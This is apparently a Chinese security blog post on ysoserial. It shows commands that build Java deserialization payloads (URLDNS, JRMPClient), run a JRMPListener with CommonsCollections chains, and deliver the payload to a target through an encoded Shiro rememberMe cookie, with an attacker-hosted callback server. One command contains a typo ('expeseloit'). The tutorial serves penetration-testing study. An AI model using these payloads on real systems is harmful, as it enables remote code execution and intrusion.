ysoserial

2025 年 8 月 3 日 (已编辑)
583 字
3 分钟

ysoserial是在常见的java库中发现的一组实用程序和面向属性的编程“小工具链”,在适当的条件下,可以利用执行对象不安全反序列化的Java应用程序。

地址

ysoserial项目地址:github-ysoserial

使用

两种方式, 一种是生成payload, 一种是执行exp

生成payload

bash
# 生成dnslog链的payload
java -jar ysoserial.jar URLDNS http://xxx.dns.log
java -jar ysoserial.jar URLDNS http://xxx.dns.log > /tmp/urldns.ser

# 连接特定ip和端口jrmp
java -jar ysoserial.jar JRMPClient "127.0.0.1:9999" > /tmp/jrmp.ser

执行exp

一般用于开启交互服务, 可以在ysoserial-all\ysoserial\exploit目录下看到

bash
# 特定端口启用特定监听, 利用特定链执行特定命令
java -cp ysoserial.jar ysoserial.exploit.JRMPListener 9999 CommonsCollections1 'whoami'

java命令的-cp参数和-classpath参数是一样的,即指定类运行所依赖类路径、通常是类库和jar包。而java命令的-jar参数则直接执行jar包里面META-INF\MANIFEST.MF文件中指定的Main-Class

解释

JRMP

JRMP(Java Remote Method Protocol)是Java远程方法调用协议的缩写。它是Java中用于实现分布式对象通信的一种协议。

在Java中,可以通过远程方法调用(Remote Method Invocation,RMI)来实现不同Java虚拟机(JVM)之间的通信

JRMP是RMI中的默认协议,它定义了在Java平台上进行远程方法调用所使用的协议规范

实例

生成payload

使用 ysoserial,生成一个 URLDNS 序列化 payload:

bash
java -jar ysoserial.jar URLDNS http://... > /tmp/urldns.ser

用 shiro 编码脚本将序列化 payload 进行编码,得到 Cookie 字符串:

text
java -jar shiro-exp.jar encrypt /tmp/urldns.ser

再将上面得到的 Cookie 字符串作为 rememberMe Cookie 的值,发送到目标网站,如果 cipher key 正确,将收到 dns 解析记录

执行exp

攻击者先在公网 vps 上用 ysoserial 启一个恶意的 JRMPListener,监听在 19999 端口,并指定使用 CommonsCollections6 模块,要让目标执行的命令为 ping 一个域名

bash
java -cp ysoserial.jar ysoserial.expeseloit.JRMPListener 19999 CommonsCollections6 "ping www.baidu.com"

然后用 ysoserial 生成 JRMPClient 的序列化 payload,指向上一步监听的地址和端口(假如攻击者服务器 ip 地址为 1.1.1.1):

bash
java -jar ysoserial.jar JRMPClient "1.1.1.1:19999" > /tmp/jrmp.ser

再用 shiro 编码脚本对 JRMPClient payload 进行编码:

bash
java -jar shiro-exp.jar encrypt /tmp/jrmp.ser

再将上面得到的 Cookie 字符串作为 rememberMe Cookie 的值,发送到目标网站,如果 cipher key 正确,将收到 dns 解析记录

文章标题:ysoserial

文章作者:4reexile

文章链接:https://4reexile.github.io/posts/%E5%B7%A5%E5%85%B7/ysoserial[复制]

最后修改时间:


商业转载请联系站长获得授权,非商业转载请注明本文出处及文章链接,您可以自由地在任何媒体以任何形式复制和分发作品,也可以修改和创作,但是分发衍生作品时必须采用相同的许可协议。
本文采用CC BY-NC-SA 4.0进行许可。